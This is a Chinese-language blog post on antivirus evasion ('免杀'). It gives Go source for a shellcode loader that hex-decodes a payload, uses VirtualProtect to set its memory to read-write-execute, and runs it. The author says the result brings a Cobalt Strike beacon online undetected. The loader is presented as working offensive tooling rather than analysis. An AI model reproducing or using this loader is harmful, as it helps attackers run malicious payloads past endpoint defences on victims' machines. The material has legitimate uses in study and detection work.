我的免杀之路:虚拟保护

简介: 虚拟保护技术利用的是 Windows API 中的 VirtualProtect 函数,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。

简述


虚拟保护技术利用的是 Windows API 中的 VirtualProtect 函数,是对应 Win32 函数的逻辑包装函数,它会在呼叫处理程序的虚拟位置空间里,变更认可页面区域上的保护。说明白点,它的作用就是改变调用进程的一段页的保护属性,如果想要改变其他进程,就需要用到 VirtualProtectEx 函数。这里,我利用 VirtualProtect 函数将 shellcode 所在内存区域设置为可执行模式,并且设置好 shellcode 所在内存起始地址以及内存原始属性类型保存地址,这样的 shellcode 内存区域被设置成可执行模式后,shellcode 就会被正常执行了。


实现思路


关于VirtualProtect函数代码如下:

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {

ret, _, _ := procVirtualProtect.Call(

uintptr(lpAddress),

uintptr(dwSize),

uintptr(flNewProtect),

uintptr(lpflOldProtect))

return ret > 0

}


简单的解释下以上的参数

lpAddress:要改变属性的内存起始地址(shellcode所在内存空间的起始地址)

dwSize:要改变属性的内存区域大小(shellcode长度大小)

flNewProtect:内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行。(此值为0x40)

备注:为什么是0x40,这个值怎么来的。下方链接有介绍哈,这里我简单解释一下。这是填的是内存保护常数,常数的值不同所对应的功能也不一样,对照链接里面的描述,因为现在我需要这个内存区域的可执行权限和写权限,所以这里的值必须得是0x40才能满足我的需求。

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

lpflOldProtect:内存原始属性类型保存地址。


再来看看核心代码部分:

func ShellCodeVirtualProtect(sc string) {

f := func() {}

var oldfperms uint32

if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {

panic("Call to VirtualProtect failed!")

}

ds, _ := hex.DecodeString(sc)

**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&ds))

var oldshellcodeperms uint32

if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&ds))), uintptr(len(ds)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {

panic("Call to VirtualProtect failed!")

}

f()

}


可见其核心就是利用 VirtualProtect 函数实现,ds 就是 shellcode。如果函数成功,则返回值非零。如果函数失败,则返回值为零。

 

最后的CS上线免杀效果:

图片1.png

图片2.png

图片3.png


参考资料:

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants

https://blog.csdn.net/weixin_34004576/article/details/90360650

https://blog.csdn.net/zacklin/article/details/7478118



目录
相关文章
|
11月前
|
运维 算法 网络协议
2022年嵌入式开发想进互联网大厂,你技术过硬吗?
2022年嵌入式开发想进互联网大厂,你技术过硬吗?
|
11月前
|
Unix Java Linux
深入剖析计算机底层原理,打开技术的大门
深入剖析计算机底层原理,打开技术的大门
|
5月前
|
算法 搜索推荐 开发工具
探索代码的奥秘:技术感悟与实践探索操作系统的心脏:内核
【5月更文挑战第31天】在数字世界的编织中,每一行代码都承载着创造者的智慧和汗水。本文将带你深入编程的核心,揭示那些隐藏在日常开发实践中的技术真谛。从算法的精妙到系统的架构,我们将一同探讨如何通过技术提升效率,解决问题,并在这个过程中获得个人成长。 【5月更文挑战第31天】本文深入剖析了操作系统的核心组件——内核,探讨了其设计哲学、功能职责以及在现代计算环境中的重要性。通过分析内核的工作原理和它如何与硬件、软件交互,我们将揭示这个隐藏在用户界面背后的力量之源。
|
5月前
【计网·湖科大·思科】实验一 熟悉仿真软件及访问WEB服务器
【计网·湖科大·思科】实验一 熟悉仿真软件及访问WEB服务器
49 0
|
5月前
|
存储
【头歌·计组·自己动手画CPU】四、控制器设计(理论版) 【计算机硬件系统设计】
【头歌·计组·自己动手画CPU】四、控制器设计(理论版) 【计算机硬件系统设计】
175 0
|
5月前
|
前端开发 小程序 编译器
前端开发新电脑配置(菜菜最为 详细的配置)
前端开发新电脑配置(菜菜最为 详细的配置)
|
运维 Linux
【Linux运维】安装——虚拟硬件环境
【Linux运维】安装——虚拟硬件环境
|
人工智能 算法 架构师
计算机学习路线规划,和我一同打开计算机学习的大门吧!
计算机学习路线规划,和我一同打开计算机学习的大门吧!
200 0
计算机学习路线规划,和我一同打开计算机学习的大门吧!
|
存储 网络协议 Java
程序员必备的网络相关技术点
从今天开始我会持续更新面试题,其中涵盖了:Java基础、多线程、IO、高并发、集合框架、数据库、框架以及分布式技术。持续更新中·······
|
应用服务中间件 nginx
如何在服务器上添加虚拟IP?看完原来如此简单!!
最近,有位小伙伴为了实现Nginx的高可用,在自己的服务器上搭建了一套Nginx集群,Nginx节点的服务器总共有3台。那么问题来了:如何对外只使用一个IP地址,通过某种策略来访问三个服务器节点上的Nginx?答案就是:可以使用虚拟IP来实现!那么,如何在服务器上添加虚拟IP?今天,我们就一起实操在服务器上添加虚拟IP。
1650 0
如何在服务器上添加虚拟IP?看完原来如此简单!!